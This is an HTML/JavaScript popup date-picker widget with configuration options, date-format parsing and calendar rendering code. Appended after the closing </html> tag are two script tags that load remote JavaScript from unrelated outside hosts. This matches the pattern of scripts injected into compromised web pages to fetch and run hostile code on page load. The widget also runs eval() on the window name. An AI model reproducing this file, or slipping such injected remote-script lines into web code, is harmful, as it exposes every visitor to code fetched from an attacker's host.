<html>
<head>
<script language="JavaScript">
var gCalendarName = "gToday:normal";
var gd=new Date();
var gToday=[gd.getFullYear(),gd.getMonth()+1,gd.getDate()];
var agenda=new Array;

var gfSelf=parent.document.getElementById(gCalendarName);

var theme=self.name.split(":");
var gCurMonth=eval(theme[0]);

parent.gfPop=parent.frames[gCalendarName];

function addEvent(date, message, color, action, imgsrc) {
  agenda[date] = new Array(message, color, action, imgsrc);
}

function popup(url, framename) {
  self.open(url,framename,gsPopConfig);
}
// --------------- From here you can config the options freely! ----------------
var gsPopConfig="top=200,left=200,width=400,height=200,scrollbars=1,resizable=1";   // the look of popup window

var gMonths=new Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec");
var gWeekDay=new Array("S","M","T","W","T","F","S");
var gsToday=gToday[2]+" "+gMonths[gToday[1]-1]+" "+gToday[0];   // The expression of Today-Part.

var giCellWidth=18; // Calendar cell width;
var giCellHeight=18;    // Calendar cell height;
var gbHideDC=false; // Replace the Date Controls at the top with gsCalTitle. If set true, gbCMFocus should be set to false!!
var gbHideToday=false;  // Remove the Today Part from the bottom
var gsCalTitle="(gMonths[gCurMonth[1]-1]+' '+gCurMonth[0])";    // dynamic statement to be eval-ed

var gBegin=[1900,1,1];  // Valid Range begin from [Year,Month,Date]
var gEnd=[2050,9,23];   // Valid Range end at [Year,Month,Date]
var gsOutOfRange="The date is out of valid range!"; // Range Error Message

var gbEuroCal=false;    // Show European Calendar Layout - Sunday goes after Saturday
var gsSplit="-";    // Separator of date string, AT LEAST one char.
var giDatePos=2;    // Date format  0: D-M-Y ; 1: M-D-Y; 2: Y-M-D; 3:Y-D-M
var gbDigital=true; // true: 01-05-2001 ; false: 1-May-2001
var gbShortYear=false;   // Set the year format in short, i.e. 79 instead of 1979

var gpicBG=null;    // url of background image
var gsBGRepeat="no-repeat";// repeat mode of background image, except NN4. [no-repeat,repeat,repeat-x,repeat-y]
var gcBG="#EEEEEE"; // Background color of the cells. Use "" for transparent!
var gcFrame="#999999";  // Frame color
var gsCalTable="border=0 cellpadding=1 cellspacing=1";  // the properties of calendar <table> tag
var gcCalBG="#336699";  // Background color of the calendar

var gcTodayBG="white";  // The background highlight color of today
var gcSat="#009999";    // Saturday color
var gcSun="red";    // Sunday color
var gcWorkday="#000000";    // Workday color
var gcOtherDay="#CCCCCC";   // The day color of other months
// gcOtherDay must be set in literal format, digital & rgb() format will not work in either NN6 or NN4!
var gcToggle="yellow";  // highlight color of focused cell


////////// Default Action when you click a normal date //////////
var gsAction="fDemoCheck(y,m,d);";  // This is for demo use.
// var gsAction=""; // This should be the normal config.


////////////// Add Agendas //////////////////////////////////////////
// Usage -- addEvent(date, message, color, action, imgsrc);
// Notice:
// 1. The format of event date is defined in fHoliday() plug-in. Current format is Y-M-D.
// 2. In the action part you can use any javascript statement.
// 3. Assign <null> to action part will result in a line-through effect of that day, while <" "> not.
// 4. imgsrc is the URL of your image, you can omit it if no image to show.
/////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// Holiday PLUG-IN Function -- return [message,color,action,imgsrc] like agenda!
////////////////////////////////////////////////////////////////////////////////
function fHoliday(y,m,d) {
///// Uncomment any of the following two lines will give you special effect! ///
// if (m!=gCurMonth[1]||y!=gCurMonth[0]) return ["",gcOtherDay,null];   // hide the days of other months
// if (new Date(y,m-1,d+1)<gd) return ["",gcBG];    // cross-over the past days
////////////////////////////////////////////////////////////////////////////////

  var r=agenda[y+"-"+m+"-"+d]; // Define your agenda date format here!!
  return r;
}


/////// Add your self-defined functions here ///////
var gdc, gmc, gyc;
function fDemoPop(dayc,monc,yearc,dateCtrl,range) {
  gdc=dayc; gmc=monc; gyc=yearc;
  dateCtrl.value=gdc.value+"-"+gmc.value+"-"+gyc.value;
  fPopCalendar(dateCtrl, range);
}
function fDemoCheck(y,m,d) {
  if (gdCtrl.name=="dc1") {
    with(parent.document.forms["demoform"]){gdc.value=d;gmc.value=m;gyc.value=y;};
    parent.depRange=[];
  }
  if (gdCtrl.name=="dc2")
    parent.arrRange=[];
}



with (document) {
    write("<link rel='stylesheet' type='text/css' href='"+parent.LOCALIZED_CSS_PATH+"/Calendar.css'>");
//  write("<script language='JavaScript' src='"+theme[1]+".js'></scr"+"ipt>");
//  write("<script language='JavaScript' src='"+theme[2]+"'></scr"+"ipt>");
}
</script>
</head>

<body leftmargin=0 topmargin=0 marginwidth=0 marginheight=0 onmouseup="return true;">
<script language="JavaScript">
var gdBegin,gdEnd,gRange;
var gdSelect=[0,0,0];
var gcbMon,gcbYear;
var gdCtrl;
var gdPCtrl;
var gcTemp=gcBG;
var gCellSet=[];
var giSat=(gbEuroCal)?5:6;
var giSun=(gbEuroCal)?6:0;
var gNeedReload = false;
if (gbEuroCal)
    gWeekDay=[].concat(gWeekDay.slice(1), gWeekDay[0]);
var cal=[];
for (var i=0;i<6;i++)
    cal[i]=[];

//****************************************************************************
// dateCtrl is the widget into which you want to put the selected date;
// range is an array in this format [RangeBeginDate, RangeEndDate {,disabledDate}]
//****************************************************************************
function fPopCalendar(dateCtrl,hDateCtrl,range,needReload,dateFormat,digital,changeProperty,sChangeProperty,onchange,verticalOffset,horizontalOffset){
  var pc=parent.document.getElementById(dateCtrl);

  if(pc==null) pc=dateCtrl;

  gdPCtrl=parent.document.getElementById(hDateCtrl);
  if(gdPCtrl==null) gdPCtrl = hDateCtrl;

//  var pc=eval('frm.'+'dummy_'+dateCtrl);
//  gdPCtrl = eval('frm.'+dateCtrl);

  if (verticalOffset==null){
    verticalOffset = 0;
  }
  if (horizontalOffset==null){
    horizontalOffset = 0;
  }

//Init the pop calendar
  gNeedReload = needReload;
  //set Separator of date string and dateformat
  switch( dateFormat ){
    case 'dd/mm/yyyy':
        gsSplit = '/';
      giDatePos = 0;
      gbDigital = true;
      break;
    case 'dd-mm-yyyy':
        gsSplit = '-';
        giDatePos = 0;
        gbDigital = true;
      break;
    case 'mm/dd/yyyy':
        gsSplit = '/';
        giDatePos = 1;
        gbDigital = true;
      break;
    case 'mm-dd-yyyy':
        gsSplit = '-';
        giDatePos = 1;
        gbDigital = true;
      break;
    case 'yyyy/mm/dd':
        gsSplit = '/';
        giDatePos = 2;
        gbDigital = true;
      break;
    case 'yyyy-mm-dd':
        gsSplit = '-';
        giDatePos = 2;
        gbDigital = true;
      break;
    case 'yyyy/dd/mm':
        gsSplit = '/';
        giDatePos = 3;
        gbDigital = true;
      break;
    case 'yyyy-dd-mm':
        gsSplit = '-';
        giDatePos = 3;
        gbDigital = true;
      break;
    case 'dd/mmm/yyyy':
        gsSplit = '/';
        giDatePos = 4;
        gbDigital = false;
    break;
    case 'dd-mmm-yyyy':
        gsSplit = '-';
        giDatePos = 4;
        gbDigital = false;
    break;
  }
//  gbDigital = digital;
//end init

  if (gdCtrl!=pc)
    gdCtrl=pc;
  else if (gfSelf.style.visibility=="visible") {
    fHideCal();
    return;
  }
  var s=fParseDate(gdCtrl.value);
  if (s==null) {
    s=eval(theme[0]);
    gdSelect=[0,0,0];
  } else
    gdSelect=s;
  fInitRange(range);
  if (!fSetCal(s[0], s[1])) {
    fHideCal();
    return;
  }
  var p=fGetXY(pc);
  with (gfSelf.style) {
    left = (p[0]-1+horizontalOffset) + 'px';
    top = (p[1]+pc.offsetHeight+1+verticalOffset) + 'px';
    visibility="visible";
  }
}

function fHideCal() {
  with (gfSelf.style) {
    visibility="hidden";
    top=parseInt(top)-10; // for nn6 bug
  }
}

function fGetXY(aTag){

  var p=[0,0];
  while(aTag!=null){
    p[0]+=aTag.offsetLeft;
    p[1]+=aTag.offsetTop;
    aTag=aTag.offsetParent;
  }
  return p;
}

//--------

function fInitRange(r) {
  gRange=r?r:[];
  var rb=gRange[0]?r[0]:gBegin;
  gdBegin=new Date(rb[0],rb[1]-1,rb[2]);
  var re=gRange[1]?r[1]:gEnd;
  gdEnd=new Date(re[0],re[1]-1,re[2]);
}

function fSetDate(y,m,d){
  var action=fGetAgenda([y,m,d])[2];
  if (!action)
    return;
  gCurMonth=[y,m];
  gdSelect=[y,m,d];
  var sDDate = fFormatDate(y,m,d,-1,false);
  var sHDate = formateHideValueToSystemDBDate(y,m,d);
  if(sHDate!='')
      sHDate += ' 00:00:00';
  var origValue = gdPCtrl.value;
  gdCtrl.value=sDDate;
  gdPCtrl.value=sHDate;
  if(gdPCtrl.onchange && origValue != sHDate ){
  	gdPCtrl.onchange();
  }
  //refresh form
  if(gNeedReload)
      parent.OpRefresh();
  fHideCal();
  eval(action);
}

function fParseDate(ds) {

  var r=null;
  var i;

  var datePos = giDatePos;
  var monthPos = giDatePos==1?0:1;
  var yearPos = giDatePos==2?0:2 ;
  if (giDatePos == 3){
    datePos = 1;
    monthPos = 2 ;
    yearPos = 0 ;
  }

  if (giDatePos == 4){
    datePos = 0;
  }

  if (ds!=null) {
      var pd=ds.split(gsSplit);
      if (pd.length==3) {
          var m=pd[monthPos];
          for (i=0; (i<12)&&(gMonths[i].substring(0,3).toLowerCase()!=m.substring(0,3).toLowerCase())&&(i+1!=m); i++);

          if (i<12) {
              var y=parseInt(pd[yearPos].substring(0,4),10);
              var pf=Math.floor(gEnd[0]/100)*100;
              r=[y<100?y>gEnd[0]%100?pf-100+y:pf+y:y,i+1,parseInt(pd[datePos],10)];
          } else
              return null;
    } else
          return null;
      var td=new Date(r[0],r[1]-1,r[2]);
      if (isNaN(td)||td.getMonth()!=r[1]-1)
          return null;
      gdCtrl.value=fFormatDate(r[0],r[1],r[2],-1,false);
  }

  return r;
}

function fGetAgenda(d) {
  var s=fCalibrate(d[0],d[1]);
  if (!fValidRange(s[0],s[1],d[2]))
    return [gsOutOfRange, gcBG];
  for (var i=2; i<gRange.length; i++)
    if (gRange[i][2]==d[2]&&gRange[i][1]==s[1]&&gRange[i][0]==s[0])
        return [gsOutOfRange, gcBG];
  var ag=fHoliday(s[0],s[1],d[2]);
  if (ag==null)
    ag=["",gcBG,gsAction];
  return ag;
}

function fValidRange(y,m,d) {
  var date=new Date(y,m-1,d);
  return (date>=gdBegin)&&(date<=gdEnd);
}

function fCalibrate(y,m) {
  if (m<1) { y--; m=12; }
  else if (m>12) { y++; m=1; }
  return [y,m];
}

function fFormatDate(y,m,d,datePos,isHid){

  var M=gbDigital?m<10?"0"+m:m:gMonths[m-1];
//  var D=gbDigital&&d<10?"0"+d:d;
  var D=d<10?"0"+d:d;
  var sy=y%100;
  var sSplit = gsSplit;
  if (isHid){
      sSplit = '-';
  }
  sy=sy<10?"0"+sy:sy;
  var iDatePos = giDatePos;
  if(datePos!=-1)
    iDatePos = datePos
  switch (iDatePos) {
    case 0: return D+sSplit+M+sSplit+(gbShortYear?sy:y);
    case 1: return M+sSplit+D+sSplit+(gbShortYear?sy:y);
    case 2: return (gbShortYear?sy:y)+sSplit+M+sSplit+D;
    case 3: return (gbShortYear?sy:y)+sSplit+D+sSplit+M;
    case 4: return D+sSplit+M+sSplit+(gbShortYear?sy:y);
  }
}

function fBuildCal(y,m) {
  m=parseInt(m,10);
  var days=[31,31,(y%4==0&&y%100!=0||y%400==0)?29:28,31,30,31,30,31,31,30,31,30,31];
  var dCalDate=new Date(y,m-1,1);
  var iDayOfFirst=dCalDate.getDay();
  if (gbEuroCal)
    if (--iDayOfFirst<0)
        iDayOfFirst=6;
  var iOffsetLast=days[m-1]-iDayOfFirst+1;
  var iDate=1;
  var iNext=1;
  for (var d=0;d<7;d++)
    cal[0][d]=(d<iDayOfFirst)?[m-1,-(iOffsetLast+d)]:[m,iDate++];
  for (var w=1;w<6;w++)
    for (var d=0;d<7;d++)
        cal[w][d]=(iDate<=days[m])?[m,iDate++]:[m+1,-(iNext++)];
  return cal;
}

function fCheckRange(y,m) {
  if (y>gEnd[0]||y<gBegin[0]||(y==gBegin[0]&&m<gBegin[1])||(y==gEnd[0]&&m>gEnd[1])) {
    if (gcbMon) gcbMon.options[gCurMonth[1]-1].selected=true;
    if (gcbYear) gcbYear.options[gCurMonth[0]-gBegin[0]].selected=true;
    return false;
  }
  return true;
}

//------------------

function fSetSelected(aCell) {
  var s=fGetSelected(aCell);
  fSetDate(s[0],s[1],s[2]);
}

function fGetSelected(aCell){
  var iOffset=0;
  var y=(gcbYear)?parseInt(gcbYear.value):gCurMonth[0];
  var m=(gcbMon)?parseInt(gcbMon.value):gCurMonth[1];
  aCell.bgColor=gcBG;
  with (aCell.firstChild){
    var d=parseInt(innerHTML,10);
    if (style.color==gcOtherDay)
        iOffset=(id<10)?-1:1;
    m+=iOffset;
    if (m<1) {
        y--;
        m=12;
    }else if (m>12){
        y++;
        m=1;
    }
    return [y,m,d];
  }
}


function fDrawCal() {
  var sTD=" width='"+giCellWidth+"' style='height:"+giCellHeight+";' ";
  var sDIV=" style='position:relative;height:"+(giCellHeight-4)+";width:"+giCellWidth+";' ";
  var id=0;
  with (document) {
    write("<tr>");
    for (var i=0; i<7; i++)
        write("<td class='CalHead' "+sTD+">"+gWeekDay[i]+"</td>");
    write("</tr>");
    for (var w=1; w<7; w++) {
        write("<tr>");
        for (var d=0; d<7; d++) {
            write("<td "+sTD+"><div class='CalCell' "+sDIV+" onMouseOver='gcTemp=this.style.backgroundColor;this.style.backgroundColor=gcToggle;self.status=this.title;return true;' onMouseOut='this.style.backgroundColor=gcTemp?gcTemp:\"transparent\";' onclick='if(this.firstChild.style.color!=(gcOtherDay.toLowerCase()) ){   fSetSelected(this);}'>");
            write("<A id='"+(id++)+"' href='javascript:' onfocus='this.blur();' onclick='return false;' >00</A></div></td>")
        }
        write("</tr>");
    }
  }
}

function fUpdateCal(y,m) {
  var c=fBuildCal(y,m);
  var ag,d;
  for (var week=0; week<6; week++)
    for (var day=0; day<7; day++) {
        m=c[week][day][0];
        d=c[week][day][1];
        with (gCellSet[(7*week)+day]) {
            if (d<0) {
                style.color=gcOtherDay;
                d=-d;
            }else{
             //   parentNode.onclick = "fSetSelected(this)";
                style.color=(day==giSun)?gcSun:(day==giSat)?gcSat:gcWorkday;
            }
            innerHTML=d;
            ag=fGetAgenda([y,m,d]);
            parentNode.title=ag[0];
            style.textDecoration=(ag[2])?"none":"line-through";
            if (ag[3]) innerHTML+="<BR><IMG SRC='"+ag[3]+"' BORDER=0></IMG>";
            with (parentNode) {
                style.backgroundColor=(m==gCurMonth[1])?(gdSelect+''==[y,m,d])?gcToggle:(gToday+''==[y,m,d])?gcTodayBG:ag[1]:ag[1];
                style.backgroundColor=style.backgroundColor; // for nn6 bug
                parentNode.bgColor=ag[1];
                parentNode.bgColor=ag[1]; // for nn6 bug
            }
        }
    }
}

function fSetCal(y,m){
  if (!fCheckRange(y,m))
    return false;
  if (gcbMon) gcbMon.options[m-1].selected=true;
  if (gcbYear) gcbYear.options[y-gBegin[0]].selected=true;
  gCurMonth=[y,m];
  fUpdateCal(y,m);
  gfSelf.width=document.getElementById("popTable").offsetWidth;
  gfSelf.height=document.getElementById("popTable").offsetHeight;
  return true;
}

function fPrevMonth(){
  var m=gcbMon.value;
  var y=gcbYear.value;
  if (--m<1) { m=12; y--; }
  fSetCal(y,m);
}

function fNextMonth(){
  var m=gcbMon.value;
  var y=gcbYear.value;
  if (++m>12) { m=1; y++; }
  fSetCal(y,m);
}

fInitRange();
with (document) {
  write("<TABLE id='popTable' bgcolor='"+gcCalBG+"' cellspacing='0' cellpadding='3' style=\"border:ridge\">");
  if (!gbHideDC) {
    write("<TR><TD align='center'><input type='button' value='<' class='HeadBtn' onClick='fPrevMonth()'>");
    write("&nbsp;<select id='MonSelect' class='HeadBox' onChange='fSetCal(gcbYear.value, gcbMon.value)' Victor='Won'>");
    for (var i=0; i<12; i++)
        write("<option value='"+(i+1)+"'>"+gMonths[i]+"</option>");
    write("</SELECT><SELECT id='YearSelect' class='HeadBox' onChange='fSetCal(gcbYear.value, gcbMon.value)' Victor='Won'>");
    for(var i=gBegin[0];i<=gEnd[0];i++)
        write("<OPTION value='"+i+"'>"+i+"</OPTION>");
    write("</SELECT>&nbsp;<input type='button' value='>' class='HeadBtn' onclick='fNextMonth()'></TD></TR>");
    gcbMon=getElementById("MonSelect");
    gcbYear=getElementById("YearSelect");
  } else
    write("<TR><TD align='center' class='CalTitle'>"+eval(gsCalTitle)+"</TD></TR>");
  
  write("<TR><TD align='center'><DIV style='background:"+gcFrame+(gpicBG?" url("+gpicBG+") ":" ")+gsBGRepeat+";'><TABLE "+gsCalTable+" width='100%'>");
  fDrawCal();
  gCellSet=getElementsByTagName("A");
  fUpdateCal(gCurMonth[0],gCurMonth[1]);
  write("</TABLE></DIV></TD></TR>");
  if (!gbHideToday) {
    write("<TR><TD align='center'>");
    write("<A id='AToday' href='javascript:' class='Today' onclick='fSetDate(gToday[0],gToday[1],gToday[2]);this.blur();return false;' onMouseOver='gcTemp=this.style.color;this.style.color=gcToggle;self.status=this.title;return true;' onMouseOut='this.style.color=gcTemp'>"+gsToday+"</A>");
    getElementById("AToday").title=fGetAgenda(gToday)[0];
    write("</TD></TR>");
  }
  write("</TABLE>");
}

function formateHideValueToSystemDBDate(y,m,d)
{
  var sysDBFormat = parent.DB_DATETIME_FORMAT.toLowerCase();
  if (sysDBFormat == ''){
      return '';
  }
  var datetime_arr=sysDBFormat.split(" ");
  var dateStr = datetime_arr[0];
  var timeStr = datetime_arr[1];
  var delim = '';
  var iDatePos = -1;
  var localIsDigit = true;
    switch(dateStr){
      case 'dd/mm/yyyy':
      case 'dd-mm-yyyy':
        delim = dateStr.substring(2,3);
        iDatePos = 0;
        localIsDigit = true;
        break;
      case 'mm/dd/yyyy':
      case 'mm-dd-yyyy':
        delim = dateStr.substring(2,3);
        iDatePos = 1;
        localIsDigit = true;
        break;
      case 'yyyy/mm/dd':
      case 'yyyy-mm-dd':
        delim = dateStr.substring(4,5);
        iDatePos = 2;
        localIsDigit = true;
        break;
      case 'yyyy/dd/mm':
      case 'yyyy-dd-mm':
        delim = dateStr.substring(4,5);
        iDatePos = 3;
        localIsDigit = true;
        break;
      case 'dd-mmm-yyyy':
      case 'dd/mmm/yyyy':
        delim = dateStr.substring(2,3);
        iDatePos = 4;
        localIsDigit = false;
        break;
    }
    var M=localIsDigit?m<10?"0"+m:m:gMonths[m-1];
//  var D=localIsDigit&&d<10?"0"+d:d;
    var D=d<10?"0"+d:d;
    var sy=y%100;
    var sSplit = delim;
    sy=sy<10?"0"+sy:sy;
    switch (iDatePos) {
        case 0: return D+sSplit+M+sSplit+(gbShortYear?sy:y);
        case 1: return M+sSplit+D+sSplit+(gbShortYear?sy:y);
        case 2: return (gbShortYear?sy:y)+sSplit+M+sSplit+D;
        case 3: return (gbShortYear?sy:y)+sSplit+D+sSplit+M;
    	case 4: return D+sSplit+M+sSplit+(gbShortYear?sy:y);
    }
}
</script>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>